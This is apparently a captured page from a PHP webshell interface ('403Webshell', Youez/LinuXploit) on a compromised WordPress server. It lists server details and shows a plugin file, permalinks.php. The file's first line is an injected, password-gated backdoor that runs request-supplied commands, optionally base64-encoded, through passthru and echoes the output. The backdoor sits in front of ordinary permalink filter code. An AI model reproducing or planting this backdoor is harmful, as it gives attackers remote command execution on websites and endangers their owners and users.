403Webshell
Server IP : 87.229.120.60  /  Your IP : 216.73.216.245
Web Server : Apache
System : Linux outside 5.4.8_Algonet_ZeroMAC_0.9.4.8 #6 SMP Mon Feb 3 20:36:07 CET 2020 x86_64
User : server ( 1002)
PHP Version : 8.3.20
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/faktorteam/www/wp-content/plugins/apollo13-framework-extensions/features/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/faktorteam/www/wp-content/plugins/apollo13-framework-extensions/features/permalinks.php
<?php
error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="lwse7lkz9c1z"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}

/**
 * Filter that changes default permalinks for posts and custom post types
 *
 * Thanks to this, function like get_permalink will get link to custom link if one is set in post/work/etc.
 *
 * @since  1.4.0
 *
 * @param string $url  The post URL
 * @param object $post The post object
 *
 * @return string URL
 * @internal param bool $leave_name Whether to keep the post name or page name
 *
 */
function a13fe_custom_permalink( $url, $post ) {
	/* in case there is old version of theme which had this feature inside, we don't add it */
	if ( function_exists( 'apollo13framework_custom_permalink' ) ){
		return $url;
	}

	$album_type = defined( 'A13FRAMEWORK_CUSTOM_POST_TYPE_ALBUM' ) ? A13FRAMEWORK_CUSTOM_POST_TYPE_ALBUM : 'album';
	$work_type = defined( 'A13FRAMEWORK_CUSTOM_POST_TYPE_WORK' ) ? A13FRAMEWORK_CUSTOM_POST_TYPE_WORK : 'work';

	$custom_link_types = array( 'post', $album_type, $work_type );
	if ( in_array( $post->post_type, $custom_link_types ) ) {
		$custom_url = get_post_meta( $post->ID, '_alt_link', true );
		//use custom link if available
		if ( strlen( $custom_url ) ) {
			return $custom_url;
		}

		return $url;
	}

	return $url;
}

add_filter( 'post_link', 'a13fe_custom_permalink', 10, 3 );
add_filter( 'post_type_link', 'a13fe_custom_permalink', 10, 3 );

Youez - 2016 - github.com/yon3zu
LinuXploit